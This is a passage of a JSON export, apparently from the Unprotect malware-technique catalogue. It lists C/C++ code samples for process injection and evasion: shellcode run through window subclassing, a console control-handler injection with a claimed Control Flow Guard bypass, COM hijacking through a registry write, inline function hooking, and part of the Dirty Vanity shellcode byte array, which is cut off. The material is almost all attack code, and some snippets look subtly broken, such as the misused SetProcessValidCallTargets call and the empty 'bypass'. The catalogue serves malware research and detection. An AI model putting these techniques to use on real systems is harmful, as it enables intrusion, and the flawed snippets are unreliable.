            "plain_code": "#include <windows.h>\r\n\r\n// Function prototype for the shellcode to be injected\r\ntypedef void (*ShellcodeFunc)(void);\r\n\r\n// The shellcode to be injected into the target process\r\nunsigned char shellcode[] = {\r\n    // Insert shellcode here\r\n};\r\n\r\n// The original window procedure for the target window\r\nWNDPROC originalWndProc;\r\n\r\n// The window subclassing callback function\r\nLRESULT CALLBACK SubclassProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)\r\n{\r\n    // Execute the shellcode\r\n    ((ShellcodeFunc)shellcode)();\r\n\r\n    // Call the original window procedure\r\n    return CallWindowProc(originalWndProc, hwnd, uMsg, wParam, lParam);\r\n}\r\n\r\nint main()\r\n{\r\n    // Get the handle of the target window\r\n    HWND hwnd = FindWindow(NULL, \"Target Window Title\");\r\n    if (hwnd == NULL)\r\n        return 1;\r\n\r\n    // Get the window procedure for the target window\r\n    originalWndProc = (WNDPROC)GetWindowLongPtr(hwnd, GWLP_WNDPROC);\r\n    if (originalWndProc == NULL)\r\n        return 1;\r\n\r\n    // Set the window subclassing callback function for the target window\r\n    SetWindowLongPtr(hwnd, GWLP_WNDPROC, (LONG_PTR)SubclassProc);\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 169,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 3,
                "name": "Unprotect",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/121/?format=api",
            "description": "This code first defines a callback function called `ControlSignalHandler` that will be used to inject malicious code. It then bypasses pointer encoding and control flow guard to ensure that the function can be called. Finally, it sets the callback function for control signal handlers using the `SetConsoleCtrlHandler` function and triggers a control signal by calling `GenerateConsoleCtrlEvent`.",
            "plain_code": "#include <Windows.h>\r\n#include <cstdio>\r\n\r\n// callback function for control signal handlers\r\nBOOL WINAPI ControlSignalHandler(DWORD dwCtrlType)\r\n{\r\n    // inject malicious code here\r\n\r\n    return TRUE;\r\n}\r\n\r\nint main()\r\n{\r\n    // bypass pointer encoding\r\n    void* encodedPointer = EncodePointer((PVOID)ControlSignalHandler);\r\n    void* decodedPointer = DecodePointer(encodedPointer);\r\n\r\n    // bypass control flow guard\r\n    SetProcessValidCallTargets(GetCurrentProcess(), (UINT_PTR)decodedPointer, sizeof(void*));\r\n\r\n    // set callback function for control signal handlers\r\n    SetConsoleCtrlHandler((PHANDLER_ROUTINE)decodedPointer, TRUE);\r\n\r\n    // trigger control signal (Ctrl+C)\r\n    GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 168,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 2,
                "name": "Thomas Roccia",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/122/?format=api",
            "description": "This code opens the relevant key in the Windows Registry and modifies the value to point to the path of the malicious executable. When the COM object is used, it will execute the malicious code instead of the legitimate system component.",
            "plain_code": "#include <Windows.h>\r\n#include <atlbase.h>\r\n\r\nint main()\r\n{\r\n    // Modify the Windows Registry to replace the reference to a legitimate system component with the path to the malicious executable\r\n    HKEY hKey;\r\n    LONG lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Classes\\\\MyCOMObject\", 0, KEY_WRITE, &hKey);\r\n    if (lResult == ERROR_SUCCESS)\r\n    {\r\n        RegSetValueEx(hKey, \"\", 0, REG_SZ, (BYTE*)\"C:\\\\MaliciousCode.exe\", sizeof(\"C:\\\\MaliciousCode.exe\"));\r\n        RegCloseKey(hKey);\r\n    }\r\n\r\n    // Use the COM object as normal\r\n    CComPtr<IMyCOMObject> pMyCOMObject;\r\n    HRESULT hr = pMyCOMObject.CoCreateInstance(__uuidof(MyCOMObject));\r\n    if (SUCCEEDED(hr))\r\n    {\r\n        // When the COM object is executed, the malicious code will be run instead of the legitimate system component\r\n        pMyCOMObject->DoSomething();\r\n    }\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 167,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 3,
                "name": "Unprotect",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/124/?format=api",
            "description": "",
            "plain_code": "#include <stdio.h>\r\n#include <windows.h>\r\n\r\n// Typedef for the target function\r\ntypedef int (*target_func_t)(int);\r\n\r\n// Trampoline function that will be used to execute the original code from the target function\r\nint trampoline(int arg) {\r\n  printf(\"Trampoline function called with argument: %d\\n\", arg);\r\n  return 0;\r\n}\r\n\r\n// Hook function that will be used to intercept calls to the target function\r\nint hook(int arg) {\r\n  printf(\"Hook function called with argument: %d\\n\", arg);\r\n\r\n  // Perform desired processing\r\n\r\n  // Transfer control back to the trampoline function\r\n  return trampoline(arg);\r\n}\r\n\r\nint main() {\r\n  // Determine the address of the target function and the code that needs to be replaced\r\n  target_func_t target_func = (target_func_t)GetProcAddress(GetModuleHandle(NULL), \"target_func\");\r\n  unsigned char* target_code = (unsigned char*)target_func;\r\n\r\n  // Calculate the relative address of the trampoline function and store it in a jump instruction\r\n  unsigned char jump_instruction[] = {0xE9, 0x00, 0x00, 0x00, 0x00};\r\n  int trampoline_offset = (int)trampoline - (int)target_func - 5;\r\n  *(int*)(jump_instruction + 1) = trampoline_offset;\r\n\r\n  // Overwrite the first few bytes of the target function with the jump instruction\r\n  DWORD old_protect;\r\n  VirtualProtect(target_code, 5, PAGE_EXECUTE_READWRITE, &old_protect);\r\n  memcpy(target_code, jump_instruction, 5);\r\n  VirtualProtect(target_code, 5, old_protect, &old_protect);\r\n}"
        },
        {
            "id": 166,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 16,
                "name": "External",
                "email": null,
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/223/?format=api",
            "description": "Original source code available here: https://github.com/deepinstinct/Dirty-Vanity",
            "plain_code": "#include \"DirtyVanity.h\"\r\n\r\n// creates a cmd /k msg * Hello from Dirty Vanity\r\n// and suspends the injection \r\nunsigned char shellcode[] =\r\n{\r\n  0x40, 0x55, 0x57, 0x48, 0x81, 0xEC, 0xB8, 0x03, 0x00, 0x00,\r\n  0x48, 0x8D, 0x6C, 0x24, 0x60, 0x65, 0x48, 0x8B, 0x04, 0x25,\r\n  0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B,\r\n  0x45, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x45, 0x08,\r\n  0x48, 0x8B, 0x45, 0x08, 0xC6, 0x40, 0x48, 0x00, 0x48, 0x8B,\r\n  0x45, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x83, 0xC0, 0x20,\r\n  0x48, 0x89, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,\r\n  0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85,\r\n  0x38, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6B, 0x00, 0x65, 0x00,\r\n  0x72, 0x00, 0x6E, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8,\r\n  0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x48, 0x89,\r\n  0x45, 0x40, 0x48, 0xB8, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00,\r\n  0x6C, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7, 0x45, 0x50,\r\n  0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x50, 0x01, 0x00,\r\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01,\r\n  0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01,\r\n  0x00, 0x00, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48,\r\n  0x83, 0xE8, 0x10, 0x48, 0x89, 0x85, 0x58, 0x01, 0x00, 0x00,\r\n  0xC7, 0x85, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n  0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,\r\n  0x60, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D,\r\n  0x45, 0x38, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0xC7,\r\n  0x85, 0x60, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x48,\r\n  0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x85,\r\n  0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x60, 0x01, 0x00, 0x00, 0x00,\r\n  0x00, 0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B,\r\n  0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85,\r\n  0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00,\r\n  0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E,\r\n  0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7,\r\n  0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00, 0xEB, 0x46,\r\n  0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41,\r\n  0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,\r\n  0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00,\r\n  0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00,\r\n  0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88,\r\n  0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x65,\r\n  0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,\r\n  0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00,\r\n  0x88, 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40,\r\n  0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00,\r\n  0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00,\r\n  0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01, 0x00, 0x00,\r\n  0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,\r\n  0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00,\r\n  0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64,\r\n  0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01,\r\n  0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00,\r\n  0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,\r\n  0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,\r\n  0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48,\r\n  0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00,\r\n  0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0,\r\n  0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7,\r\n  0x85, 0x68, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D, 0x6C, 0x01,\r\n  0x00, 0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF,\r\n  0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x2E,\r\n  0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,\r\n  0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00,\r\n  0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x83,\r\n  0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48,\r\n  0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88,\r\n  0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01,\r\n  0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00,\r\n  0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F,\r\n  0xB7, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00, 0xEB,\r\n  0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8,\r\n  0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,\r\n  0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01,\r\n  0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00,\r\n  0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00, 0x00,\r\n  0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85,\r\n  0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00,\r\n  0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6,\r\n  0x00, 0x88, 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,\r\n  0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00,\r\n  0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00,\r\n  0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01, 0x00,\r\n  0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,\r\n  0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01,\r\n  0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85,\r\n  0x64, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65,\r\n  0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01,\r\n  0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F,\r\n  0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x6C,\r\n  0x01, 0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00,\r\n  0x0F, 0xB7, 0x8D, 0x6C, 0x01, 0x00, 0x00, 0x2B, 0xC1, 0x89,\r\n  0x85, 0x60, 0x01, 0x00, 0x00, 0x83, 0xBD, 0x60, 0x01, 0x00,\r\n  0x00, 0x00, 0x75, 0x10, 0x48, 0x8B, 0x85, 0x58, 0x01, 0x00,\r\n  0x00, 0x48, 0x89, 0x85, 0x50, 0x01, 0x00, 0x00, 0xEB, 0x25,\r\n  0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00,\r\n  0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,\r\n  0x30, 0x01, 0x00, 0x00, 0x48, 0x39, 0x85, 0x38, 0x01, 0x00,\r\n  0x00, 0x0F, 0x85, 0xF9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B, 0x85,\r\n  0x50, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x70, 0x01, 0x00,\r\n  0x00, 0x48, 0xB8, 0x6E, 0x00, 0x74, 0x00, 0x64, 0x00, 0x6C,\r\n  0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x6C, 0x00, 0x2E,\r\n  0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48,\r\n  0xC7, 0x45, 0x48, 0x6C, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x45,\r\n  0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x78, 0x01,\r\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30,\r\n  0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38,\r\n  0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00,\r\n  0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85, 0x80, 0x01, 0x00,\r\n  0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n  0x00, 0x48, 0x8B, 0x85, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8B,\r\n  0x40, 0x60, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48,\r\n  0x8D, 0x45, 0x38, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00,\r\n  0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,\r\n  0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,\r\n  0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00,\r\n  0x00, 0x00, 0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48,\r\n  0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88,\r\n  0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01,\r\n  0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00,\r\n  0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F,\r\n  0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0xEB,\r\n  0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8,\r\n  0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00,\r\n  0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01,\r\n  0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D, 0x01, 0x00,\r\n  0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01, 0x00, 0x00,\r\n  0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85,\r\n  0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00,\r\n  0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6,\r\n  0x00, 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,\r\n  0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00,\r\n  0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00,\r\n  0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00,\r\n  0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00,\r\n  0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01,\r\n  0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85,\r\n  0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D,\r\n  0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01,\r\n  0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F,\r\n  0xBE, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x94,\r\n  0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,\r\n  0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00,\r\n  0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x83,\r\n  0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,\r\n  0xB7, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D, 0x94,\r\n  0x01, 0x00, 0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF,\r\n  0xFF, 0x83, 0xBD, 0x88, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84,\r\n  0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00,\r\n  0x00, 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01,\r\n  0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48,\r\n  0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00,\r\n  0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00,\r\n  0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48,\r\n  0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00,\r\n  0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,\r\n  0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00,\r\n  0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,\r\n  0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00,\r\n  0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C,\r\n  0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D, 0x01,\r\n  0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01, 0x00,\r\n  0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,\r\n  0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01,\r\n  0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,\r\n  0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B,\r\n  0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF,\r\n  0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01,\r\n  0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01,\r\n  0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00,\r\n  0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C,\r\n  0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE,\r\n  0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85,\r\n  0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C,\r\n  0x01, 0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66,\r\n  0x0F, 0xBE, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85,\r\n  0x94, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x85, 0x90, 0x01, 0x00,\r\n  0x00, 0x0F, 0xB7, 0x8D, 0x94, 0x01, 0x00, 0x00, 0x2B, 0xC1,\r\n  0x89, 0x85, 0x88, 0x01, 0x00, 0x00, 0x83, 0xBD, 0x88, 0x01,\r\n  0x00, 0x00, 0x00, 0x75, 0x10, 0x48, 0x8B, 0x85, 0x80, 0x01,\r\n  0x00, 0x00, 0x48, 0x89, 0x85, 0x78, 0x01, 0x00, 0x00, 0xEB,\r\n  0x25, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B,\r\n  0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B,\r\n  0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x39, 0x85, 0x38, 0x01,\r\n  0x00, 0x00, 0x0F, 0x85, 0xF9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B,\r\n  0x85, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x30, 0x48,\r\n  0x89, 0x85, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x98,\r\n  0x01, 0x00, 0x00, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B, 0x8D,\r\n  0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1,\r\n  0x48, 0x89, 0x85, 0xA0, 0x01, 0x00, 0x00, 0xB8, 0x08, 0x00,\r\n  0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8D, 0xA0,\r\n  0x01, 0x00, 0x00, 0x8B, 0x84, 0x01, 0x88, 0x00, 0x00, 0x00,\r\n  0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8,\r\n  0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xA8, 0x01, 0x00, 0x00,\r\n  0x48, 0x8B, 0x85, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x20,\r\n  0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8,\r\n  0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xB0, 0x01, 0x00, 0x00,\r\n  0x48, 0xB8, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41,\r\n  0x48, 0x89, 0x45, 0x10, 0xC7, 0x85, 0xB8, 0x01, 0x00, 0x00,\r\n  0x00, 0x00, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01, 0x00,\r\n  0x00, 0x48, 0x8B, 0x8D, 0xB0, 0x01, 0x00, 0x00, 0x48, 0x63,\r\n  0x04, 0x81, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48,\r\n  0x8B, 0x55, 0x10, 0x48, 0x39, 0x14, 0x01, 0x74, 0x10, 0x8B,\r\n  0x85, 0xB8, 0x01, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x85, 0xB8,\r\n  0x01, 0x00, 0x00, 0xEB, 0xCD, 0x48, 0x8B, 0x85, 0xA8, 0x01,\r\n  0x00, 0x00, 0x8B, 0x40, 0x24, 0x48, 0x8B, 0x8D, 0x98, 0x01,\r\n  0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,\r\n  0x85, 0xC0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xA8, 0x01,\r\n  0x00, 0x00, 0x8B, 0x40, 0x1C, 0x48, 0x8B, 0x8D, 0x98, 0x01,\r\n  0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,\r\n  0x85, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01,\r\n  0x00, 0x00, 0x48, 0x8B, 0x8D, 0xC0, 0x01, 0x00, 0x00, 0x48,\r\n  0x0F, 0xBF, 